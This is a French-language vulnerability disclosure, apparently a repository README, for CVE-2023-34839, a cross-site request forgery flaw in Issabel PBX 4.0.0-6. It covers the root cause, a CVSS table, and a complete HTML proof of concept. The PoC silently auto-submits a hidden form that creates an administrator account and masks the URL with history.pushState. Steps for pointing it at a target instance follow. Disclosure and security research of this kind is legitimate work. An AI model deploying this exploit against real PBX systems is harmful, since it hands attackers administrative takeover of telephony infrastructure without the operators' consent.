
CVE-2023-34839 est une vulnérabilité de falsification de requête intersite (CSRF) découverte dans Issabel PBX version 4.0.0-6, une plateforme de communications unifiées open source largement utilisée.
CVE-2023-34839 est une vulnérabilité de Cross-Site Request Forgery (CSRF) découverte dans Issabel PBX version 4.0.0-6, une plateforme de communications unifiées open-source largement utilisée. La vulnérabilité réside dans le point de terminaison de gestion des utilisateurs et permet à un attaquant distant non authentifié de créer silencieusement un nouveau compte administrateur en trompant un administrateur actuellement authentifié pour qu'il visite une page web spécialement conçue.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2023-34839 |
| Date | 23 juin 2023 |
| Chercheur | Sahil Ojha |
| Fournisseur | Issabel |
| Produit | Issabel PBX |
| Version | 4.0.0-6 |
| Testé sur | Windows |
Issabel PBX 4.0.0-6 n'implémente pas de protections CSRF (par exemple, jetons de synchronisation, attributs de cookie SameSite ou validation des en-têtes Origin / Referer) sur le point de terminaison de création d'utilisateur :
POST /index.php?menu=userlist&action=new
Étant donné que l'application repose uniquement sur les cookies de session pour l'authentification et n'effectue aucune validation des requêtes modifiant l'état, une requête POST forgée provenant de n'importe quelle origine sera acceptée et traitée avec tous les privilèges de la session administrateur connectée.
Cause racine : Absence de validation de jeton anti-CSRF sur les points de terminaison administratifs modifiant l'état.
Classe de vulnérabilité : CWE-352 — Cross-Site Request Forgery (CSRF)
| Logiciel | Version | Statut |
|---|---|---|
| Issabel PBX | 4.0.0-6 | Vulnérable ✔ |
| Métrique | Valeur |
|---|---|
| Vecteur CVSS v3.1 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Score de base | 8.8 (Élevé) |
| Vecteur d'attaque | Réseau |
| Complexité d'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Requise (visite admin) |
| Portée | Inchangée |
| Confidentialité | Élevée |
| Intégrité | Élevée |
| Disponibilité | Élevée |
Un attaquant peut exploiter cette vulnérabilité en suivant ces grandes étapes :
Aucune interaction au-delà d'une simple visite de page n'est requise de la part de la victime.
⚠️ Uniquement à des fins éducatives et de tests autorisés.
Remplacezlocalhostpar le nom d'hôte ou l'adresse IP de l'instance Issabel PBX cible.
Si vous testez contre un point de terminaisonhttps://avec un certificat auto-signé, vous devez d'abord visiter l'URL cible dans le même navigateur et accepter l'avertissement de certificat ; sinon, le navigateur bloquera la soumission du formulaire cross-origin.
<html>
<!-- CSRF Exploit — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF Test Account" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = Administrator -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Le fichier d'exploit est également disponible dans ce dépôt : CSRF Exploit.html
Accédez à l'interface web d'Issabel PBX et connectez-vous avec les identifiants administrateur.

Copiez le code HTML de la PoC ci-dessus et enregistrez-le sous forme de fichier .html, en remplaçant localhost par le nom d'hôte ou l'adresse IP réelle de l'instance Issabel cible.
L'exploit utilise des champs de formulaire cachés pour soumettre silencieusement une requête POST de création de nouvel utilisateur à l'application. Lorsque la page se charge, le JavaScript intégré soumet immédiatement le formulaire sans aucune action visible de l'utilisateur.
